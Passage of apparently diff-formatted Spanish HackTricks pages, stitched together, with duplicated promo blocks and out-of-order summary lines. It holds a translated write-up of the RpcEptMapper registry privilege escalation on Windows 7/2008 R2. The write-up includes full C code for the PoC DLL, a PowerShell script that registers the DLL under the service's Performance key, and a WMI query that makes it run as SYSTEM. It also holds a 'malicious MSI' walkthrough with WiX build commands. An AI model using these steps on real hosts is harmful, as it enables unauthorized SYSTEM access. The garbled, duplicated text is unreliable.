![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/03\_registry-imagepath-access-denied.png)
|
||||
Mencionan que encontraron documentación relacionada con la subclave Performance y cómo usarla para el monitoreo de rendimiento. Esto los lleva a crear una DLL de prueba de concepto y muestran el código para implementar las funciones requeridas: OpenPerfData, CollectPerfData y ClosePerfData. También exportan estas funciones para uso externo.
|
||||
|
||||
¿Significa esto que fue de hecho un falso positivo? Seguramente no. ¡Que comience la diversión!
|
||||
El usuario demuestra la prueba de la DLL usando rundll32 para asegurarse de que funcione como se espera, registrando información con éxito.
|
||||
|
||||
## RTFM <a href="#rtfm" id="rtfm"></a>
|
||||
A continuación, explican que el desafío es engañar al servicio RPC Endpoint Mapper para que cargue su DLL de Performance. Mencionan que observaron que su archivo de registro se creaba al consultar clases WMI relacionadas con Datos de Rendimiento en PowerShell. Esto les permite ejecutar código arbitrario en el contexto del servicio WMI, que se ejecuta como LOCAL SYSTEM. Esto les proporciona un acceso elevado e inesperado.
|
||||
|
||||
En este punto, sabemos que podemos crear subclaves arbitrarias bajo `HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper` pero no podemos modificar subclaves y valores existentes. Estas subclaves ya existentes son `Parameters` y `Security`, que son bastante comunes para los servicios de Windows.
|
||||
En conclusión, el usuario destaca la persistencia inexplicada de esta vulnerabilidad y su posible impacto, que podría extenderse a la post-explotación, el movimiento lateral y la evasión de antivirus/EDR.
|
||||
|
||||
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/04\_registry-rpceptmapper-config.png)
|
||||
También mencionan que, aunque inicialmente hicieron pública la vulnerabilidad de forma no intencionada a través de su script, su impacto se limita a versiones no soportadas de Windows (por ejemplo, Windows 7 / Server 2008 R2) con acceso local.
|
||||
|
||||
Por lo tanto, la primera pregunta que me vino a la mente fue: _¿hay alguna otra subclave predefinida - como `Parameters` y `Security` - que podríamos aprovechar para modificar efectivamente la configuración del servicio y alterar su comportamiento de alguna manera?_
|
||||
|
||||
Para responder a esta pregunta, mi plan inicial fue enumerar todas las claves existentes e intentar identificar un patrón. La idea era ver qué subclaves son _significativas_ para la configuración de un servicio. Empecé a pensar en cómo podría implementar eso en PowerShell y luego ordenar el resultado. Sin embargo, antes de hacerlo, me pregunté si esta estructura del registro ya estaba documentada. Así que busqué algo como `windows service configuration registry site:microsoft.com` y aquí está el primer [resultado](https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree) que apareció.
|
||||
|
||||
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/05\_google-search-registry-services.png)
|
||||
|
||||
Parece prometedor, ¿no es así? A primera vista, la documentación no parecía ser exhaustiva y completa. Considerando el título, esperaba ver algún tipo de estructura de árbol detallando todas las subclaves y valores que definen la configuración de un servicio, pero claramente no estaba allí.
|
||||
|
||||
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/06\_doc-registry-services.png)
|
||||
|
||||
Aun así, eché un vistazo rápido a cada párrafo. Y rápidamente identifiqué las palabras clave "_**Performance**_" y "_**DLL**_". Bajo el subtítulo "**Performance**", podemos leer lo siguiente:
|
||||
|
||||
> **Performance**: _Una clave que especifica información para el monitoreo opcional del rendimiento. Los valores bajo esta clave especifican **el nombre de la DLL de rendimiento del controlador** y **los nombres de ciertas funciones exportadas en esa DLL**. Puedes agregar entradas de valor a esta subclave usando entradas AddReg en el archivo INF del controlador._
|
||||
|
||||
Según este breve párrafo, uno teóricamente puede registrar una DLL en un servicio de controlador para monitorear su rendimiento gracias a la subclave `Performance`. **¡Esto es realmente interesante!** Esta clave no existe por defecto para el servicio `RpcEptMapper`, por lo que parece ser _exactamente_ lo que necesitamos. Hay un pequeño problema, sin embargo, este servicio definitivamente no es un servicio de controlador. De todos modos, todavía vale la pena intentarlo, pero necesitamos más información sobre esta característica de "_Monitoreo de Rendimiento_" primero.
|
||||
|
||||
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/07\_sc-qc-rpceptmapper.png)
|
||||
|
||||
> **Nota:** en Windows, cada servicio tiene un `Type` dado. Un tipo de servicio puede ser uno de los siguientes valores: `SERVICE_KERNEL_DRIVER (1)`, `SERVICE_FILE_SYSTEM_DRIVER (2)`, `SERVICE_ADAPTER (4)`, `SERVICE_RECOGNIZER_DRIVER (8)`, `SERVICE_WIN32_OWN_PROCESS (16)`, `SERVICE_WIN32_SHARE_PROCESS (32)` o `SERVICE_INTERACTIVE_PROCESS (256)`.
|
||||
|
||||
Después de buscar en Google, encontré este recurso en la documentación: [Creating the Application’s Performance Key](https://docs.microsoft.com/en-us/windows/win32/perfctrs/creating-the-applications-performance-key).
|
||||
|
||||
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/08\_performance-subkey-documentation.png)
|
||||
|
||||
Primero, hay una bonita estructura de árbol que enumera todas las claves y valores que tenemos que crear. Luego, la descripción proporciona la siguiente información clave:
|
||||
|
||||
* El valor `Library` puede contener **un nombre de DLL o una ruta completa a una DLL**.
|
||||
* Los valores `Open`, `Collect` y `Close` te permiten especificar **los nombres de las funciones** que deben ser exportadas por la DLL.
|
||||
* El tipo de datos de estos valores es `REG_SZ` (o incluso `REG_EXPAND_SZ` para el valor `Library`).
|
||||
|
||||
Si sigues los enlaces que se incluyen en este recurso, incluso encontrarás el prototipo de estas funciones junto con algunos ejemplos de código: [Implementing OpenPerformanceData](https://docs.microsoft.com/en-us/windows/win32/perfctrs/implementing-openperformancedata).
|
||||
```
|
||||
DWORD APIENTRY OpenPerfData(LPWSTR pContext);
|
||||
DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned);
|
||||
DWORD APIENTRY ClosePerfData();
|
||||
```
|
||||
Creo que ya es suficiente con la teoría, ¡es hora de empezar a escribir algo de código!
|
||||
|
||||
## Escribiendo una Prueba de Concepto <a href="#writing-a-proof-of-concept" id="writing-a-proof-of-concept"></a>
|
||||
|
||||
Gracias a todos los fragmentos de información que pude recopilar a lo largo de la documentación, escribir una simple DLL de Prueba de Concepto debería ser bastante directo. ¡Pero aún así, necesitamos un plan!
|
||||
|
||||
Cuando necesito explotar algún tipo de vulnerabilidad de secuestro de DLL, normalmente comienzo con una función de ayuda de registro personalizada y simple. El propósito de esta función es escribir información clave en un archivo cada vez que se invoca. Típicamente, registro el PID del proceso actual y del proceso padre, el nombre del usuario que ejecuta el proceso y la línea de comandos correspondiente. También registro el nombre de la función que desencadenó este evento de registro. De esta manera, sé qué parte del código se ejecutó.
|
||||
|
||||
En mis otros artículos, siempre omití la parte de desarrollo porque asumí que era más o menos obvio. Pero, también quiero que mis publicaciones en el blog sean amigables para principiantes, así que hay una contradicción. Remediaré esta situación aquí detallando el proceso. Así que, ¡enciendamos Visual Studio y creemos un nuevo proyecto de "_C++ Console App_". Cabe destacar que podría haber creado un proyecto de "_Dynamic-Link Library (DLL)_" pero encuentro que en realidad es más fácil comenzar con una aplicación de consola.
|
||||
|
||||
Aquí está el código inicial generado por Visual Studio:
|
||||
```c
|
||||
#include <iostream>
|
||||
|
||||
int main()
|
||||
{
|
||||
std::cout << "Hello World!\n";
|
||||
}
|
||||
```
|
||||
Por supuesto, eso no es lo que queremos. Queremos crear una DLL, no un EXE, por lo que tenemos que reemplazar la función `main` por `DllMain`. Puedes encontrar un código base para esta función en la documentación: [Inicializar una DLL](https://docs.microsoft.com/en-us/cpp/build/run-time-library-behavior#initialize-a-dll).
|
||||
```c
|
||||
#include <Windows.h>
|
||||
|
||||
extern "C" BOOL WINAPI DllMain(HINSTANCE const instance, DWORD const reason, LPVOID const reserved)
|
||||
{
|
||||
switch (reason)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
Log(L"DllMain"); // See log helper function below
|
||||
break;
|
||||
case DLL_THREAD_ATTACH:
|
||||
break;
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
En paralelo, también necesitamos cambiar la configuración del proyecto para especificar que el archivo compilado de salida debe ser una DLL en lugar de un EXE. Para hacerlo, puedes abrir las propiedades del proyecto y, en la sección "**General**", seleccionar "**Biblioteca Dinámica (.dll)**" como el "**Tipo de Configuración**". Justo debajo de la barra de título, también puedes seleccionar "**Todas las Configuraciones**" y "**Todas las Plataformas**" para que esta configuración se aplique de manera global.
|
||||
|
||||
A continuación, agrego mi función de ayuda de registro personalizada.
|
||||
```c
|
||||
#include <Lmcons.h> // UNLEN + GetUserName
|
||||
#include <tlhelp32.h> // CreateToolhelp32Snapshot()
|
||||
#include <strsafe.h>
|
||||
|
||||
void Log(LPCWSTR pwszCallingFrom)
|
||||
{
|
||||
LPWSTR pwszBuffer, pwszCommandLine;
|
||||
WCHAR wszUsername[UNLEN + 1] = { 0 };
|
||||
SYSTEMTIME st = { 0 };
|
||||
HANDLE hToolhelpSnapshot;
|
||||
PROCESSENTRY32 stProcessEntry = { 0 };
|
||||
DWORD dwPcbBuffer = UNLEN, dwBytesWritten = 0, dwProcessId = 0, dwParentProcessId = 0, dwBufSize = 0;
|
||||
BOOL bResult = FALSE;
|
||||
|
||||
// Get the command line of the current process
|
||||
pwszCommandLine = GetCommandLine();
|
||||
|
||||
// Get the name of the process owner
|
||||
GetUserName(wszUsername, &dwPcbBuffer);
|
||||
|
||||
// Get the PID of the current process
|
||||
dwProcessId = GetCurrentProcessId();
|
||||
|
||||
// Get the PID of the parent process
|
||||
hToolhelpSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
stProcessEntry.dwSize = sizeof(PROCESSENTRY32);
|
||||
if (Process32First(hToolhelpSnapshot, &stProcessEntry)) {
|
||||
do {
|
||||
if (stProcessEntry.th32ProcessID == dwProcessId) {
|
||||
dwParentProcessId = stProcessEntry.th32ParentProcessID;
|
||||
break;
|
||||
}
|
||||
} while (Process32Next(hToolhelpSnapshot, &stProcessEntry));
|
||||
}
|
||||
CloseHandle(hToolhelpSnapshot);
|
||||
|
||||
// Get the current date and time
|
||||
GetLocalTime(&st);
|
||||
|
||||
// Prepare the output string and log the result
|
||||
dwBufSize = 4096 * sizeof(WCHAR);
|
||||
pwszBuffer = (LPWSTR)malloc(dwBufSize);
|
||||
if (pwszBuffer)
|
||||
{
|
||||
StringCchPrintf(pwszBuffer, dwBufSize, L"[%.2u:%.2u:%.2u] - PID=%d - PPID=%d - USER='%s' - CMD='%s' - METHOD='%s'\r\n",
|
||||
st.wHour,
|
||||
st.wMinute,
|
||||
st.wSecond,
|
||||
dwProcessId,
|
||||
dwParentProcessId,
|
||||
wszUsername,
|
||||
pwszCommandLine,
|
||||
pwszCallingFrom
|
||||
);
|
||||
|
||||
LogToFile(L"C:\\LOGS\\RpcEptMapperPoc.log", pwszBuffer);
|
||||
|
||||
free(pwszBuffer);
|
||||
}
|
||||
}
|
||||
```
|
||||
Entonces, podemos poblar la DLL con las tres funciones que vimos en la documentación. La documentación también indica que deben retornar `ERROR_SUCCESS` si tienen éxito.
|
||||
```c
|
||||
DWORD APIENTRY OpenPerfData(LPWSTR pContext)
|
||||
{
|
||||
Log(L"OpenPerfData");
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned)
|
||||
{
|
||||
Log(L"CollectPerfData");
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
DWORD APIENTRY ClosePerfData()
|
||||
{
|
||||
Log(L"ClosePerfData");
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
```
|
||||
Ok, el proyecto ahora está correctamente configurado, `DllMain` está implementado, tenemos una función de ayuda para el registro y las tres funciones requeridas. Sin embargo, falta una última cosa. Si compilamos este código, `OpenPerfData`, `CollectPerfData` y `ClosePerfData` estarán disponibles solo como funciones internas, por lo que necesitamos **exportarlas**. Esto se puede lograr de varias maneras. Por ejemplo, podrías crear un archivo [DEF](https://docs.microsoft.com/en-us/cpp/build/exporting-from-a-dll-using-def-files) y luego configurar el proyecto adecuadamente. Sin embargo, prefiero usar la palabra clave `__declspec(dllexport)` ([doc](https://docs.microsoft.com/en-us/cpp/build/exporting-from-a-dll-using-declspec-dllexport)), especialmente para un proyecto pequeño como este. De esta manera, solo tenemos que declarar las tres funciones al principio del código fuente.
|
||||
```c
|
||||
extern "C" __declspec(dllexport) DWORD APIENTRY OpenPerfData(LPWSTR pContext);
|
||||
extern "C" __declspec(dllexport) DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned);
|
||||
extern "C" __declspec(dllexport) DWORD APIENTRY ClosePerfData();
|
||||
```
|
||||
Si quieres ver el código completo, lo subí [aquí](https://gist.github.com/itm4n/253c5937f9b3408b390d51ac068a4d12).
|
||||
|
||||
Finalmente, podemos seleccionar _**Release/x64**_ y "_**Compilar la solución**_". Esto producirá nuestro archivo DLL: `.\DllRpcEndpointMapperPoc\x64\Release\DllRpcEndpointMapperPoc.dll`.
|
||||
|
||||
## Probando el PoC <a href="#testing-the-poc" id="testing-the-poc"></a>
|
||||
|
||||
Antes de continuar, siempre me aseguro de que mi payload funcione correctamente probándolo por separado. El poco tiempo invertido aquí puede ahorrar mucho tiempo después al evitar que te adentres en un agujero de conejo durante una hipotética fase de depuración. Para hacerlo, simplemente podemos usar `rundll32.exe` y pasar el nombre de la DLL y el nombre de una función exportada como parámetros.
|
||||
```
|
||||
C:\Users\lab-user\Downloads\>rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData
|
||||
```
|
||||
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/09_test-poc-rundll32.gif)
|
||||
|
||||
Genial, el archivo de registro fue creado y, si lo abrimos, podemos ver dos entradas. La primera fue escrita cuando la DLL fue cargada por `rundll32.exe`. La segunda fue escrita cuando se llamó a `OpenPerfData`. ¡Se ve bien! ![:slightly_smiling_face:](https://github.githubassets.com/images/icons/emoji/unicode/1f642.png)
|
||||
```
|
||||
[21:25:34] - PID=3040 - PPID=2964 - USER='lab-user' - CMD='rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData' - METHOD='DllMain'
|
||||
[21:25:34] - PID=3040 - PPID=2964 - USER='lab-user' - CMD='rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData' - METHOD='OpenPerfData'
|
||||
```
|
||||
Ahora podemos centrarnos en la vulnerabilidad actual y comenzar creando la clave de registro y los valores necesarios. Podemos hacer esto manualmente usando `reg.exe` / `regedit.exe` o programáticamente con un script. Dado que ya pasé por los pasos manuales durante mi investigación inicial, mostraré una forma más limpia de hacer lo mismo con un script de PowerShell. Además, crear claves y valores de registro en PowerShell es tan fácil como llamar a `New-Item` y `New-ItemProperty`, ¿no es así? ![:thinking:](https://github.githubassets.com/images/icons/emoji/unicode/1f914.png)
|
||||
|
||||
![](https://itm4n.github.io/assets/posts/2020-11-12-windows-registry-rpceptmapper-eop/10\_powershell-new-item-access-denied.png)
|
||||
|
||||
`Requested registry access is not allowed`… Hmm, ok… Parece que después de todo no será tan fácil. ![:stuck\_out\_tongue:](https://github.githubassets.com/images/icons/emoji/unicode/1f61b.png)
|
||||
|
||||
Realmente no investigué este problema, pero mi suposición es que cuando llamamos a `New-Item`, `powershell.exe` en realidad intenta abrir la clave de registro padre con algunas banderas que corresponden a permisos que no tenemos.
|
||||
|
||||
De todos modos, si los cmdlets integrados no hacen el trabajo, siempre podemos bajar un nivel e invocar funciones de DotNet directamente. De hecho, las claves de registro también pueden crearse con el siguiente código en PowerShell.
|
||||
```
|
||||
[Microsoft.Win32.Registry]::LocalMachine.CreateSubKey("SYSTEM\CurrentControlSet\Services\RpcEptMapper\Performance")
|
||||
```
|
||||
Aquí vamos. Al final, armé el siguiente script para crear la clave y los valores apropiados, esperar la entrada del usuario y finalmente terminar limpiando todo.
|
||||
```
|
||||
$ServiceKey = "SYSTEM\CurrentControlSet\Services\RpcEptMapper\Performance"
|
||||
|
||||
Write-Host "[*] Create 'Performance' subkey"
|
||||
[void] [Microsoft.Win32.Registry]::LocalMachine.CreateSubKey($ServiceKey)
|
||||
Write-Host "[*] Create 'Library' value"
|
||||
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Library" -Value "$($pwd)\DllRpcEndpointMapperPoc.dll" -PropertyType "String" -Force | Out-Null
|
||||
Write-Host "[*] Create 'Open' value"
|
||||
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Open" -Value "OpenPerfData" -PropertyType "String" -Force | Out-Null
|
||||
Write-Host "[*] Create 'Collect' value"
|
||||
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Collect" -Value "CollectPerfData" -PropertyType "String" -Force | Out-Null
|
||||
Write-Host "[*] Create 'Close' value"
|
||||
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Close" -Value "ClosePerfData" -PropertyType "String" -Force | Out-Null
|
||||
|
||||
Read-Host -Prompt "Press any key to continue"
|
||||
|
||||
Write-Host "[*] Cleanup"
|
||||
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Library" -Force
|
||||
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Open" -Force
|
||||
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Collect" -Force
|
||||
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Close" -Force
|
||||
[Microsoft.Win32.Registry]::LocalMachine.DeleteSubKey($ServiceKey)
|
||||
```
|
||||
El último paso ahora, **¿cómo engañamos al servicio RPC Endpoint Mapper para que cargue nuestra DLL de Rendimiento?** Desafortunadamente, no he seguido la pista de todas las diferentes cosas que intenté. Habría sido realmente interesante en el contexto de esta entrada de blog destacar lo tedioso y consumidor de tiempo que a veces puede ser la investigación. De todos modos, una cosa que encontré en el camino es que puedes consultar _Contadores de Rendimiento_ usando WMI (_Instrumentación de Gestión de Windows_), lo cual no es demasiado sorprendente después de todo. Más información aquí: [_Tipos de Contadores de Rendimiento de WMI_](https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-performance-counter-types).
|
||||
|
||||
> _Los tipos de contadores aparecen como el calificador CounterType para propiedades en clases_ [_Win32\_PerfRawData_](https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-perfrawdata) _, y como el calificador CookingType para propiedades en clases_ [_Win32\_PerfFormattedData_](https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-perfformatteddata) _._
|
||||
|
||||
Entonces, primero enumeré las clases WMI que están relacionadas con _Datos de Rendimiento_ en PowerShell usando el siguiente comando.
|
||||
```
|
||||
Get-WmiObject -List | Where-Object { $_.Name -Like "Win32_Perf*" }
|
||||
```
|
||||
Y, ¡vi que mi archivo de registro se creó casi de inmediato! Aquí está el contenido del archivo.
|
||||
```
|
||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='DllMain'
|
||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='OpenPerfData'
|
||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
|
||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
|
||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
|
||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
|
||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
|
||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
|
||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
|
||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
|
||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
|
||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
|
||||
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
|
||||
```
|
||||
Esperaba obtener la ejecución de código arbitrario como `NETWORK SERVICE` en el contexto del servicio `RpcEptMapper` como mucho, pero parece que obtuve un resultado mucho mejor de lo anticipado. ¡De hecho, conseguí la ejecución de código arbitrario en el contexto del servicio `WMI` en sí, que se ejecuta como `LOCAL SYSTEM`! ¿No es increíble? ![:sunglasses:](https://github.githubassets.com/images/icons/emoji/unicode/1f60e.png)
|
||||
|
||||
> **Nota:** si hubiera conseguido la ejecución de código arbitrario como `NETWORK SERVICE`, habría estado a solo un token de distancia de la cuenta `LOCAL SYSTEM` gracias al truco que fue demostrado por James Forshaw hace unos meses en esta entrada de blog: [Compartiendo una Sesión de Inicio de Sesión un Poco Demasiado](https://www.tiraniddo.dev/2020/04/sharing-logon-session-little-too-much.html).
|
||||
|
||||
También intenté obtener cada clase de WMI por separado y observé el mismo resultado exacto.
|
||||
```
|
||||
Get-WmiObject Win32_Perf
|
||||
Get-WmiObject Win32_PerfRawData
|
||||
Get-WmiObject Win32_PerfFormattedData
|
||||
```
|
||||
## Conclusión <a href="#conclusion" id="conclusion"></a>
|
||||
|
||||
No sé cómo esta vulnerabilidad ha pasado desapercibida durante tanto tiempo. Una explicación es que otras herramientas probablemente buscaban acceso completo de escritura en el registro, mientras que `AppendData/AddSubdirectory` era en realidad suficiente en este caso. En cuanto a la "configuración incorrecta" en sí, asumiría que la clave del registro se estableció de esa manera por un propósito específico, aunque no puedo pensar en un escenario concreto en el que los usuarios tendrían algún tipo de permisos para modificar la configuración de un servicio.
|
||||
|
||||
Decidí escribir sobre esta vulnerabilidad públicamente por dos razones. La primera es que la hice pública - sin darme cuenta inicialmente - el día que actualicé mi script PrivescCheck con la función `GetModfiableRegistryPath`, que fue hace varios meses. La segunda es que el impacto es bajo. Requiere acceso local y solo afecta a versiones antiguas de Windows que ya no tienen soporte (a menos que hayas comprado el Soporte Extendido...). A estas alturas, si todavía estás usando Windows 7 / Server 2008 R2 sin aislar estas máquinas adecuadamente en la red primero, entonces prevenir que un atacante obtenga privilegios de SYSTEM es probablemente lo menos de tus preocupaciones.
|
||||
|
||||
Aparte del lado anecdótico de esta vulnerabilidad de escalada de privilegios, creo que esta configuración del registro "Perfomance" abre oportunidades realmente interesantes para la post-explotación, el movimiento lateral y la evasión de AV/EDR. Ya tengo en mente algunos escenarios particulares pero aún no he probado ninguno de ellos. ¿Continuará?...
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de HackTricks para AWS)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,19 +4,21 @@
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs exclusivos**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al grupo de** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) o al grupo de [**telegram**](https://t.me/peass) o **sigue**me en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en github.
|
||||
|
||||
</details>
|
||||
|
||||
# Creación de MSI Malicioso y Obtención de Root
|
||||
|
||||
**Tutorial copiado de** [**https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root**](https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root)\
|
||||
Para crear el msi utilizaremos [wixtools](http://wixtoolset.org), puedes usar otros constructores de msi pero no funcionaron para mí.\
|
||||
Consulta [esta página](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with) para ver algunos ejemplos de uso de msi con wix.\
|
||||
Crearemos un msi que ejecute nuestro archivo lnk:
|
||||
La creación del instalador MSI se realizará utilizando wixtools, específicamente se utilizará [wixtools](http://wixtoolset.org). Es importante mencionar que se intentaron otros constructores de MSI, pero no tuvieron éxito en este caso particular.
|
||||
|
||||
Para una comprensión completa de ejemplos de uso de MSI de wix, se recomienda consultar [esta página](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with). Aquí, puedes encontrar varios ejemplos que demuestran el uso de MSI de wix.
|
||||
|
||||
El objetivo es generar un MSI que ejecute el archivo lnk. Para lograr esto, se podría emplear el siguiente código XML ([xml de aquí](https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root)):
|
||||
```markup
|
||||
<?xml version="1.0"?>
|
||||
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
|
||||
|
@ -48,16 +50,26 @@ fail_here
|
|||
</Product>
|
||||
</Wix>
|
||||
```
|
||||
Vamos a utilizar `candle.exe` de wixtools para crear un wixobject a partir de `msi.xml`
|
||||
```markup
|
||||
Es importante señalar que el elemento Package contiene atributos como InstallerVersion y Compressed, que especifican la versión del instalador e indican si el paquete está comprimido o no, respectivamente.
|
||||
|
||||
El proceso de creación implica utilizar candle.exe, una herramienta de wixtools, para generar un wixobject a partir de msi.xml. Se debe ejecutar el siguiente comando:
|
||||
```
|
||||
candle.exe -out C:\tem\wix C:\tmp\Ethereal\msi.xml
|
||||
```
|
||||
Luego utilizaremos `light.exe` para crear el archivo msi a partir del wixobject:
|
||||
```markup
|
||||
Además, cabe mencionar que se proporciona una imagen en la publicación, que muestra el comando y su resultado. Puede consultarla para obtener orientación visual.
|
||||
|
||||
Además, se utilizará light.exe, otra herramienta de wixtools, para crear el archivo MSI a partir del wixobject. El comando a ejecutar es el siguiente:
|
||||
```
|
||||
light.exe -out C:\tm\Ethereal\rick.msi C:\tmp\wix
|
||||
```
|
||||
```markdown
|
||||
![](https://0xrick.github.io/images/hackthebox/ethereal/66.png)
|
||||
Al igual que el comando anterior, se incluye una imagen en la publicación que ilustra el comando y su resultado.
|
||||
|
||||
